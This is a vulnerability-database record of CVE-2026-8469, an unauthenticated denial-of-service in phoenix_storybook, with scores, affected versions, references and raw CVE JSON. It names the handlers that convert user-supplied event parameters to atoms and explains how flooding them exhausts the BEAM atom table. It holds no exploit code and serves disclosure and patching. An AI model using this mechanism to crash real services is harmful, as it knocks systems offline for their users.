Vulnerability-Lookup

CVE-2026-8469 (GCVE-0-2026-8469)

Vulnerability from cvelistv5 – Published: 2026-05-20 13:35 – Updated: 2026-05-27 15:40

Title

Unauthenticated denial-of-service via BEAM atom table exhaustion in phoenix_storybook

Summary

Allocation of Resources Without Limits or Throttling vulnerability in phenixdigital phoenix_storybook allows unauthenticated denial-of-service via BEAM atom table exhaustion. Multiple LiveView event handlers convert user-supplied event parameter strings to atoms using String.to_atom/1 without validation: 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':handle_set_variation_assign/3 interns every key of the psb-assign params map; 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':handle_toggle_variation_assign/3 interns the "attr" value from psb-toggle events; 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':to_variation_id/2 interns elements of "variation_id"; and 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':to_value/4 interns raw string values for attributes declared as :atom or :boolean. BEAM atoms are never garbage-collected, so each unique attacker-controlled string is a permanent allocation. Once the atom table ceiling (~1,048,576 atoms) is reached, the entire BEAM node aborts, taking down all applications running on it. This issue affects phoenix_storybook from 0.2.0 before 1.1.0.

Severity

8.2 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

EEF

References

4 references

URL	Tags
https://github.com/phenixdigital/phoenix_storyboo…	vendor-advisoryrelated
https://cna.erlef.org/cves/CVE-2026-8469.html	related
https://osv.dev/vulnerability/EEF-CVE-2026-8469	related
https://github.com/phenixdigital/phoenix_storyboo…	patch

Impacted products

2 products

Vendor	Product	Version
phenixdigital	phoenix_storybook	Affected: 0.2.0 , < 1.1.0 (semver) cpe:2.3:a:phenixdigital:phoenix_storybook::::::::
phenixdigital	phoenix_storybook	Affected: 0228669d55c23a754d1ef11f49a32121129d5395 , < 96d524690af0fe197a49f60d18e564a620b9ef81 (git) cpe:2.3:a:phenixdigital:phoenix_storybook::::::::

Credits

Peter Ullrich Christian Blavier Jonatan Männchen / EEF

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-8469",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-21T13:55:42.783019Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-21T13:56:33.631Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-833p-95jq-929q"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://repo.hex.pm",
          "cpes": [
            "cpe:2.3:a:phenixdigital:phoenix_storybook:*:*:*:*:*:*:*:*"
          ],
          "defaultStatus": "unaffected",
          "modules": [
            "Elixir.PhoenixStorybook.ExtraAssignsHelpers",
            "Elixir.PhoenixStorybook.Story.Playground"
          ],
          "packageName": "phoenix_storybook",
          "packageURL": "pkg:hex/phoenix_storybook",
          "product": "phoenix_storybook",
          "programFiles": [
            "lib/phoenix_storybook/helpers/extra_assigns_helpers.ex",
            "lib/phx_live_storybook/live/entry_live.ex"
          ],
          "programRoutines": [
            {
              "name": "\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_set_variation_assign/3"
            },
            {
              "name": "\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_toggle_variation_assign/3"
            },
            {
              "name": "\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_variation_id/2"
            },
            {
              "name": "\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_value/4"
            }
          ],
          "repo": "https://github.com/phenixdigital/phoenix_storybook",
          "vendor": "phenixdigital",
          "versions": [
            {
              "lessThan": "1.1.0",
              "status": "affected",
              "version": "0.2.0",
              "versionType": "semver"
            }
          ]
        },
        {
          "collectionURL": "https://github.com",
          "cpes": [
            "cpe:2.3:a:phenixdigital:phoenix_storybook:*:*:*:*:*:*:*:*"
          ],
          "defaultStatus": "unaffected",
          "modules": [
            "Elixir.PhoenixStorybook.ExtraAssignsHelpers",
            "Elixir.PhoenixStorybook.Story.Playground"
          ],
          "packageName": "phenixdigital/phoenix_storybook",
          "packageURL": "pkg:github/phenixdigital/phoenix_storybook",
          "product": "phoenix_storybook",
          "programFiles": [
            "lib/phoenix_storybook/helpers/extra_assigns_helpers.ex",
            "lib/phx_live_storybook/live/entry_live.ex"
          ],
          "programRoutines": [
            {
              "name": "\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_set_variation_assign/3"
            },
            {
              "name": "\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_toggle_variation_assign/3"
            },
            {
              "name": "\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_variation_id/2"
            },
            {
              "name": "\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_value/4"
            }
          ],
          "repo": "https://github.com/phenixdigital/phoenix_storybook",
          "vendor": "phenixdigital",
          "versions": [
            {
              "lessThan": "96d524690af0fe197a49f60d18e564a620b9ef81",
              "status": "affected",
              "version": "0228669d55c23a754d1ef11f49a32121129d5395",
              "versionType": "git"
            }
          ]
        }
      ],
      "configurations": [
        {
          "lang": "en",
          "value": "Phoenix Storybook must be mounted on a network-reachable route."
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:phenixdigital:phoenix_storybook:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "1.1.0",
                  "versionStartIncluding": "0.2.0",
                  "vulnerable": true
                }
              ],
              "operator": "OR"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Peter Ullrich"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Christian Blavier"
        },
        {
          "lang": "en",
          "type": "analyst",
          "value": "Jonatan M\u00e4nnchen / EEF"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003eAllocation of Resources Without Limits or Throttling vulnerability in phenixdigital phoenix_storybook allows unauthenticated denial-of-service via BEAM atom table exhaustion.\u003c/p\u003e\u003cp\u003eMultiple LiveView event handlers convert user-supplied event parameter strings to atoms using \u003ctt\u003eString.to_atom/1\u003c/tt\u003e without validation: \u003ctt\u003e\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_set_variation_assign/3\u003c/tt\u003e interns every key of the \u003ctt\u003epsb-assign\u003c/tt\u003e params map; \u003ctt\u003e\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_toggle_variation_assign/3\u003c/tt\u003e interns the \u003ctt\u003e\"attr\"\u003c/tt\u003e value from \u003ctt\u003epsb-toggle\u003c/tt\u003e events; \u003ctt\u003e\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_variation_id/2\u003c/tt\u003e interns elements of \u003ctt\u003e\"variation_id\"\u003c/tt\u003e; and \u003ctt\u003e\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_value/4\u003c/tt\u003e interns raw string values for attributes declared as \u003ctt\u003e:atom\u003c/tt\u003e or \u003ctt\u003e:boolean\u003c/tt\u003e. BEAM atoms are never garbage-collected, so each unique attacker-controlled string is a permanent allocation. Once the atom table ceiling (~1,048,576 atoms) is reached, the entire BEAM node aborts, taking down all applications running on it.\u003c/p\u003e\u003cp\u003eThis issue affects phoenix_storybook from 0.2.0 before 1.1.0.\u003c/p\u003e"
            }
          ],
          "value": "Allocation of Resources Without Limits or Throttling vulnerability in phenixdigital phoenix_storybook allows unauthenticated denial-of-service via BEAM atom table exhaustion.\n\nMultiple LiveView event handlers convert user-supplied event parameter strings to atoms using String.to_atom/1 without validation: \u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_set_variation_assign/3 interns every key of the psb-assign params map; \u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_toggle_variation_assign/3 interns the \"attr\" value from psb-toggle events; \u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_variation_id/2 interns elements of \"variation_id\"; and \u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_value/4 interns raw string values for attributes declared as :atom or :boolean. BEAM atoms are never garbage-collected, so each unique attacker-controlled string is a permanent allocation. Once the atom table ceiling (~1,048,576 atoms) is reached, the entire BEAM node aborts, taking down all applications running on it.\n\nThis issue affects phoenix_storybook from 0.2.0 before 1.1.0."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-130",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-130 Excessive Allocation"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-770",
              "description": "CWE-770 Allocation of Resources Without Limits or Throttling",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-27T15:40:55.927Z",
        "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "shortName": "EEF"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory",
            "related"
          ],
          "url": "https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-833p-95jq-929q"
        },
        {
          "tags": [
            "related"
          ],
          "url": "https://cna.erlef.org/cves/CVE-2026-8469.html"
        },
        {
          "tags": [
            "related"
          ],
          "url": "https://osv.dev/vulnerability/EEF-CVE-2026-8469"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/phenixdigital/phoenix_storybook/commit/96d524690af0fe197a49f60d18e564a620b9ef81"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Unauthenticated denial-of-service via BEAM atom table exhaustion in phoenix_storybook",
      "x_generator": {
        "engine": "cvelib 1.8.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
    "assignerShortName": "EEF",
    "cveId": "CVE-2026-8469",
    "datePublished": "2026-05-20T13:35:27.914Z",
    "dateReserved": "2026-05-13T11:44:43.316Z",
    "dateUpdated": "2026-05-27T15:40:55.927Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-8469",
      "date": "2026-08-10",
      "epss": "0.00537",
      "percentile": "0.42311"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-8469\",\"sourceIdentifier\":\"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\",\"published\":\"2026-05-20T14:17:04.447\",\"lastModified\":\"2026-07-23T12:10:00.110\",\"vulnStatus\":\"Deferred\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Allocation of Resources Without Limits or Throttling vulnerability in phenixdigital phoenix_storybook allows unauthenticated denial-of-service via BEAM atom table exhaustion.\\n\\nMultiple LiveView event handlers convert user-supplied event parameter strings to atoms using String.to_atom/1 without validation: \u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_set_variation_assign/3 interns every key of the psb-assign params map; \u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_toggle_variation_assign/3 interns the \\\"attr\\\" value from psb-toggle events; \u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_variation_id/2 interns elements of \\\"variation_id\\\"; and \u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_value/4 interns raw string values for attributes declared as :atom or :boolean. BEAM atoms are never garbage-collected, so each unique attacker-controlled string is a permanent allocation. Once the atom table ceiling (~1,048,576 atoms) is reached, the entire BEAM node aborts, taking down all applications running on it.\\n\\nThis issue affects phoenix_storybook from 0.2.0 before 1.1.0.\"},{\"lang\":\"es\",\"value\":\"Vulnerabilidad de asignaci\u00f3n de recursos sin l\u00edmites ni limitaci\u00f3n en phenixdigital phoenix_storybook permite una denegaci\u00f3n de servicio no autenticada mediante el agotamiento de la tabla de \u00e1tomos de BEAM.\\n\\nM\u00faltiples manejadores de eventos de LiveView convierten cadenas de par\u00e1metros de eventos suministradas por el usuario en \u00e1tomos utilizando String.to_atom/1 sin validaci\u00f3n: \u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_set_variation_assign/3 interna cada clave del mapa de par\u00e1metros psb-assign; \u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_toggle_variation_assign/3 interna el valor \u0027attr\u0027 de los eventos psb-toggle; \u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_variation_id/2 interna elementos de \u0027variation_id\u0027; y \u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_value/4 interna valores de cadena sin procesar para atributos declarados como :atom o :boolean. Los \u00e1tomos de BEAM nunca se recolectan por el recolector de basura, por lo que cada cadena \u00fanica controlada por el atacante es una asignaci\u00f3n permanente. Una vez que se alcanza el l\u00edmite de la tabla de \u00e1tomos (~1.048.576 \u00e1tomos), el nodo BEAM completo aborta, derribando todas las aplicaciones que se ejecutan en \u00e9l.\\n\\nEste problema afecta a phoenix_storybook desde 0.2.0 antes de 1.1.0.\"}],\"affected\":[{\"source\":\"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\",\"affectedData\":[{\"vendor\":\"phenixdigital\",\"product\":\"phoenix_storybook\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://repo.hex.pm\",\"packageName\":\"phoenix_storybook\",\"cpes\":[\"cpe:2.3:a:phenixdigital:phoenix_storybook:*:*:*:*:*:*:*:*\"],\"modules\":[\"Elixir.PhoenixStorybook.ExtraAssignsHelpers\",\"Elixir.PhoenixStorybook.Story.Playground\"],\"programFiles\":[\"lib/phoenix_storybook/helpers/extra_assigns_helpers.ex\",\"lib/phx_live_storybook/live/entry_live.ex\"],\"programRoutines\":[{\"name\":\"\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_set_variation_assign/3\"},{\"name\":\"\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_toggle_variation_assign/3\"},{\"name\":\"\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_variation_id/2\"},{\"name\":\"\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_value/4\"}],\"repo\":\"https://github.com/phenixdigital/phoenix_storybook\",\"packageURL\":\"pkg:hex/phoenix_storybook\",\"versions\":[{\"version\":\"0.2.0\",\"lessThan\":\"1.1.0\",\"versionType\":\"semver\",\"status\":\"affected\"}]},{\"vendor\":\"phenixdigital\",\"product\":\"phoenix_storybook\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://github.com\",\"packageName\":\"phenixdigital/phoenix_storybook\",\"cpes\":[\"cpe:2.3:a:phenixdigital:phoenix_storybook:*:*:*:*:*:*:*:*\"],\"modules\":[\"Elixir.PhoenixStorybook.ExtraAssignsHelpers\",\"Elixir.PhoenixStorybook.Story.Playground\"],\"programFiles\":[\"lib/phoenix_storybook/helpers/extra_assigns_helpers.ex\",\"lib/phx_live_storybook/live/entry_live.ex\"],\"programRoutines\":[{\"name\":\"\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_set_variation_assign/3\"},{\"name\":\"\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_toggle_variation_assign/3\"},{\"name\":\"\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_variation_id/2\"},{\"name\":\"\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_value/4\"}],\"repo\":\"https://github.com/phenixdigital/phoenix_storybook\",\"packageURL\":\"pkg:github/phenixdigital/phoenix_storybook\",\"versions\":[{\"version\":\"0228669d55c23a754d1ef11f49a32121129d5395\",\"lessThan\":\"96d524690af0fe197a49f60d18e564a620b9ef81\",\"versionType\":\"git\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":8.2,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"PRESENT\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"vulnConfidentialityImpact\":\"NONE\",\"vulnIntegrityImpact\":\"NONE\",\"vulnAvailabilityImpact\":\"HIGH\",\"subConfidentialityImpact\":\"NONE\",\"subIntegrityImpact\":\"NONE\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-05-21T13:55:42.783019Z\",\"id\":\"CVE-2026-8469\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"yes\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-770\"}]}],\"references\":[{\"url\":\"https://cna.erlef.org/cves/CVE-2026-8469.html\",\"source\":\"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\"},{\"url\":\"https://github.com/phenixdigital/phoenix_storybook/commit/96d524690af0fe197a49f60d18e564a620b9ef81\",\"source\":\"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\"},{\"url\":\"https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-833p-95jq-929q\",\"source\":\"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\"},{\"url\":\"https://osv.dev/vulnerability/EEF-CVE-2026-8469\",\"source\":\"6b3ad84c-e1a6-4bf7-a703-f496b71e49db\"},{\"url\":\"https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-833p-95jq-929q\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "redhat_vex": {
      "current_release_date": "2026-05-21T19:57:38+00:00",
      "cve": "CVE-2026-8469",
      "id": "CVE-2026-8469",
      "initial_release_date": "2026-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "Unauthenticated denial-of-service via BEAM atom table exhaustion in phoenix_storybook",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-8469.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-8469\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-05-21T13:55:42.783019Z\"}}}], \"references\": [{\"url\": \"https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-833p-95jq-929q\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-05-21T13:56:22.320Z\"}}], \"cna\": {\"title\": \"Unauthenticated denial-of-service via BEAM atom table exhaustion in phoenix_storybook\", \"source\": {\"discovery\": \"EXTERNAL\"}, \"credits\": [{\"lang\": \"en\", \"type\": \"finder\", \"value\": \"Peter Ullrich\"}, {\"lang\": \"en\", \"type\": \"remediation developer\", \"value\": \"Christian Blavier\"}, {\"lang\": \"en\", \"type\": \"analyst\", \"value\": \"Jonatan M\\u00e4nnchen / EEF\"}], \"impacts\": [{\"capecId\": \"CAPEC-130\", \"descriptions\": [{\"lang\": \"en\", \"value\": \"CAPEC-130 Excessive Allocation\"}]}], \"metrics\": [{\"format\": \"CVSS\", \"cvssV4_0\": {\"version\": \"4.0\", \"baseScore\": 8.2, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"attackRequirements\": \"PRESENT\", \"privilegesRequired\": \"NONE\", \"subIntegrityImpact\": \"NONE\", \"vulnIntegrityImpact\": \"NONE\", \"subAvailabilityImpact\": \"NONE\", \"vulnAvailabilityImpact\": \"HIGH\", \"subConfidentialityImpact\": \"NONE\", \"vulnConfidentialityImpact\": \"NONE\"}, \"scenarios\": [{\"lang\": \"en\", \"value\": \"GENERAL\"}]}], \"affected\": [{\"cpes\": [\"cpe:2.3:a:phenixdigital:phoenix_storybook:*:*:*:*:*:*:*:*\"], \"repo\": \"https://github.com/phenixdigital/phoenix_storybook\", \"vendor\": \"phenixdigital\", \"modules\": [\"Elixir.PhoenixStorybook.ExtraAssignsHelpers\", \"Elixir.PhoenixStorybook.Story.Playground\"], \"product\": \"phoenix_storybook\", \"versions\": [{\"status\": \"affected\", \"version\": \"0.2.0\", \"lessThan\": \"1.1.0\", \"versionType\": \"semver\"}], \"packageURL\": \"pkg:hex/phoenix_storybook\", \"packageName\": \"phoenix_storybook\", \"programFiles\": [\"lib/phoenix_storybook/helpers/extra_assigns_helpers.ex\", \"lib/phx_live_storybook/live/entry_live.ex\"], \"collectionURL\": \"https://repo.hex.pm\", \"defaultStatus\": \"unaffected\", \"programRoutines\": [{\"name\": \"\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_set_variation_assign/3\"}, {\"name\": \"\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_toggle_variation_assign/3\"}, {\"name\": \"\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_variation_id/2\"}, {\"name\": \"\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_value/4\"}]}, {\"cpes\": [\"cpe:2.3:a:phenixdigital:phoenix_storybook:*:*:*:*:*:*:*:*\"], \"repo\": \"https://github.com/phenixdigital/phoenix_storybook\", \"vendor\": \"phenixdigital\", \"modules\": [\"Elixir.PhoenixStorybook.ExtraAssignsHelpers\", \"Elixir.PhoenixStorybook.Story.Playground\"], \"product\": \"phoenix_storybook\", \"versions\": [{\"status\": \"affected\", \"version\": \"0228669d55c23a754d1ef11f49a32121129d5395\", \"lessThan\": \"96d524690af0fe197a49f60d18e564a620b9ef81\", \"versionType\": \"git\"}], \"packageURL\": \"pkg:github/phenixdigital/phoenix_storybook\", \"packageName\": \"phenixdigital/phoenix_storybook\", \"programFiles\": [\"lib/phoenix_storybook/helpers/extra_assigns_helpers.ex\", \"lib/phx_live_storybook/live/entry_live.ex\"], \"collectionURL\": \"https://github.com\", \"defaultStatus\": \"unaffected\", \"programRoutines\": [{\"name\": \"\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_set_variation_assign/3\"}, {\"name\": \"\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_toggle_variation_assign/3\"}, {\"name\": \"\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_variation_id/2\"}, {\"name\": \"\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_value/4\"}]}], \"references\": [{\"url\": \"https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-833p-95jq-929q\", \"tags\": [\"vendor-advisory\", \"related\"]}, {\"url\": \"https://cna.erlef.org/cves/CVE-2026-8469.html\", \"tags\": [\"related\"]}, {\"url\": \"https://osv.dev/vulnerability/EEF-CVE-2026-8469\", \"tags\": [\"related\"]}, {\"url\": \"https://github.com/phenixdigital/phoenix_storybook/commit/96d524690af0fe197a49f60d18e564a620b9ef81\", \"tags\": [\"patch\"]}], \"x_generator\": {\"engine\": \"cvelib 1.8.0\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"Allocation of Resources Without Limits or Throttling vulnerability in phenixdigital phoenix_storybook allows unauthenticated denial-of-service via BEAM atom table exhaustion.\\n\\nMultiple LiveView event handlers convert user-supplied event parameter strings to atoms using String.to_atom/1 without validation: \u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_set_variation_assign/3 interns every key of the psb-assign params map; \u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_toggle_variation_assign/3 interns the \\\"attr\\\" value from psb-toggle events; \u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_variation_id/2 interns elements of \\\"variation_id\\\"; and \u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_value/4 interns raw string values for attributes declared as :atom or :boolean. BEAM atoms are never garbage-collected, so each unique attacker-controlled string is a permanent allocation. Once the atom table ceiling (~1,048,576 atoms) is reached, the entire BEAM node aborts, taking down all applications running on it.\\n\\nThis issue affects phoenix_storybook from 0.2.0 before 1.1.0.\", \"supportingMedia\": [{\"type\": \"text/html\", \"value\": \"\u003cp\u003eAllocation of Resources Without Limits or Throttling vulnerability in phenixdigital phoenix_storybook allows unauthenticated denial-of-service via BEAM atom table exhaustion.\u003c/p\u003e\u003cp\u003eMultiple LiveView event handlers convert user-supplied event parameter strings to atoms using \u003ctt\u003eString.to_atom/1\u003c/tt\u003e without validation: \u003ctt\u003e\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_set_variation_assign/3\u003c/tt\u003e interns every key of the \u003ctt\u003epsb-assign\u003c/tt\u003e params map; \u003ctt\u003e\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:handle_toggle_variation_assign/3\u003c/tt\u003e interns the \u003ctt\u003e\\\"attr\\\"\u003c/tt\u003e value from \u003ctt\u003epsb-toggle\u003c/tt\u003e events; \u003ctt\u003e\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_variation_id/2\u003c/tt\u003e interns elements of \u003ctt\u003e\\\"variation_id\\\"\u003c/tt\u003e; and \u003ctt\u003e\u0027Elixir.PhoenixStorybook.ExtraAssignsHelpers\u0027:to_value/4\u003c/tt\u003e interns raw string values for attributes declared as \u003ctt\u003e:atom\u003c/tt\u003e or \u003ctt\u003e:boolean\u003c/tt\u003e. BEAM atoms are never garbage-collected, so each unique attacker-controlled string is a permanent allocation. Once the atom table ceiling (~1,048,576 atoms) is reached, the entire BEAM node aborts, taking down all applications running on it.\u003c/p\u003e\u003cp\u003eThis issue affects phoenix_storybook from 0.2.0 before 1.1.0.\u003c/p\u003e\", \"base64\": false}]}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-770\", \"description\": \"CWE-770 Allocation of Resources Without 